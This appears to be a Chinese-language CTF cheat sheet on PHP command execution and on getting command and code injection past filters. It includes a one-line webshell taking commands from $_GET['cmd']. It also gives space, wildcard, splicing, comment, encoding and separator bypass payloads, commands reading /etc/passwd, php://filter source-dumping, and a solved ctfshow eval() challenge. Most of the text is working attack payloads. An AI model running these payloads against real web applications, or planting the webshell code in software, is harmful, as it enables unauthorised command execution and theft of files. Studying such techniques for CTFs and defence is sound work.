一、PHP命令执行函数

  • system()

    该函数执行有回显,将执行结果输出到页面上

    <?php system("whoami");?>

  • passthru()

    该函数执行也有回显,将执行结果输出到页面上

    <?php passthru("whoami");?>

  • exec()

    该函数执行无回显,通常和echo一起使用,默认返回最后一行结果

    <?php echo exec("whoami");?>

  • shell_exec()

    该函数执行无回显,通常和echo一起使用,默认返回最后一行结果

    <?php echo shell_exec("whoami");?>

  • 反引号`

    shell_exec()函数实际上是反引号`的变体,当禁用shell_exec时,反引号也不能执行

  • popen()

    该函数需要两个参数,一个是执行的命令,另一个是指针文件的打开方式(r | w)。该函数不会直接返回执行结果,而是返回一个文件指针,但命令已成功执行。

    <?php popen("whoami >> /1.txt", "r");?>

    1
    2
    3
    4
    5
    6
    7
    8
    <?php 
    $cmd=$_GET['cmd'];
    $fd = popen($cmd, 'r'); //popen打开一个进程通道
    while($s=fgets($fd)){ //从通道中取得数据
    print_r($s); //输出数据
    }
    pclose($fd);
    ?>
  • proc_open()

    该函数与popen函数类似,但是可以提供双管道

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php  
    $test = "whoami";
    $array = array(
    array("pipe","r"), //标准输入
    array("pipe","w"), //标准输出内容
    array("pipe","w") //标准输出错误
    );

    $fd = proc_open($test,$array,$pipes); //打开一个进程通道
    echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为是输出内容
    proc_close($fd);
    ?>
  • pcntl_exec()

    该函数需要两个参数,第一个参数是path,表示可执行二进制文件路径或是一个在文件第一行就指定了一个可执行文件路径标头的脚本文件。另一个参数是args,表示一个要传递给程序的字符串数组

    pcntl是linux下的一个扩展,需额外安装

    <?php pcntl_exec("/bin/bash", arraya("whoami"));?>

二、Linux查看文件命令

  1. more:一页一页的显示档案内容
  2. less:与 more 类似
  3. head:查看头几行
  4. cat:从第一行开始显示
  5. tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
  6. tail:查看尾几行
  7. nl:显示的时候,顺便输出行号
  8. od:以二进制的方式读取档案内容
  9. vi:一种编辑器,这个也可以查看
  10. vim:一种编辑器,这个也可以查看
  11. sort:可以查看
  12. uniq:可以查看

空格绕过

<, >, <>, %20(space), %09(tap), $IFS, ${IFS}, $IFS$9, {cat,flag}

三、正则黑名单绕过

通配符绕过

cat flag.php

1
2
cat fla*
c?? fl?g.p??

拼接绕过

  1. 内联执行绕过(变量拼接)

    1;a=fl;b=ag.php;cat $a$b

  2. 使用.进行拼接

    (sy.(st).em)

  3. 使用反斜杠\

    c\at fl\ag

  4. 使用单双引号或者反引号

    cat fl""ag

    cat fl''ag

  5. 使用$@$*$x(x代表数字1-9)${x}(x≥10),在没有传入参数的情况下,这些特殊字符默认为空

    1
    2
    3
    4
    who$@ami
    who$*ami
    who$5ami
    who${23}ami
  6. 插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

    1
    2
    3
    system/*A10ng_*/(whoami);
    system/*A10ng_*/(wh./*A10ng_*/(oa)/*caixukun*/.mi);
    (sy./*A10ng_*/(st)/*A10ng_*/.em)/*A10ng_*/(wh./*A10ng_*/(oa)/*A10ng_*/.mi);

编码绕过(命令执行)

  • 通过base编码绕过

    1
    `echo 'bHM=' | base64 -d`  //ls命令
  • 通过oct编码(八进制)绕过

    1
    $(printf "\154\163")    //ls命令

过滤分隔符

  1. 命令执行

    • %0a:换行符
    • %0d:回车符
    • ;:连续指令
    • |:只执行后面那条命令
    • ||:只执行前面那条命令
    • &:两条命令都会执行
    • &&:两条命令都会执行
  2. 代码执行

    PHP中过滤了分号;,可以使用?>来代替

过滤括号

  1. 使用反引号**`配合echo**:

    1
    echo `cat /etc/passwd`;
  2. 可以通过构造文件包含的形式读取文件,payload:

    1
    2
    ?c=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php 
    //分号如果被过滤则可以用?>代替

过滤斜杠’/’

可以通过;拼接命令绕过

cd..;cd..;cd..;cd..;cd etc;cat passwd

无参数文件读取(代码执行)

  1. current(localeconv()):返回一个.
  2. scandir():以数组形式返回指定目录下的文件
  3. array_reverse():将数组逆序排列

例如ctfshow的web40:

1
2
3
4
5
6
7
8
9
10
11
<?php

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

通过将多个php函数组合,就能够实现无参数读取文件,payload:print_r(scandir(current(localeconv())))

payload:highlight_file(next(array_reverse(scandir(current(localeconv())))))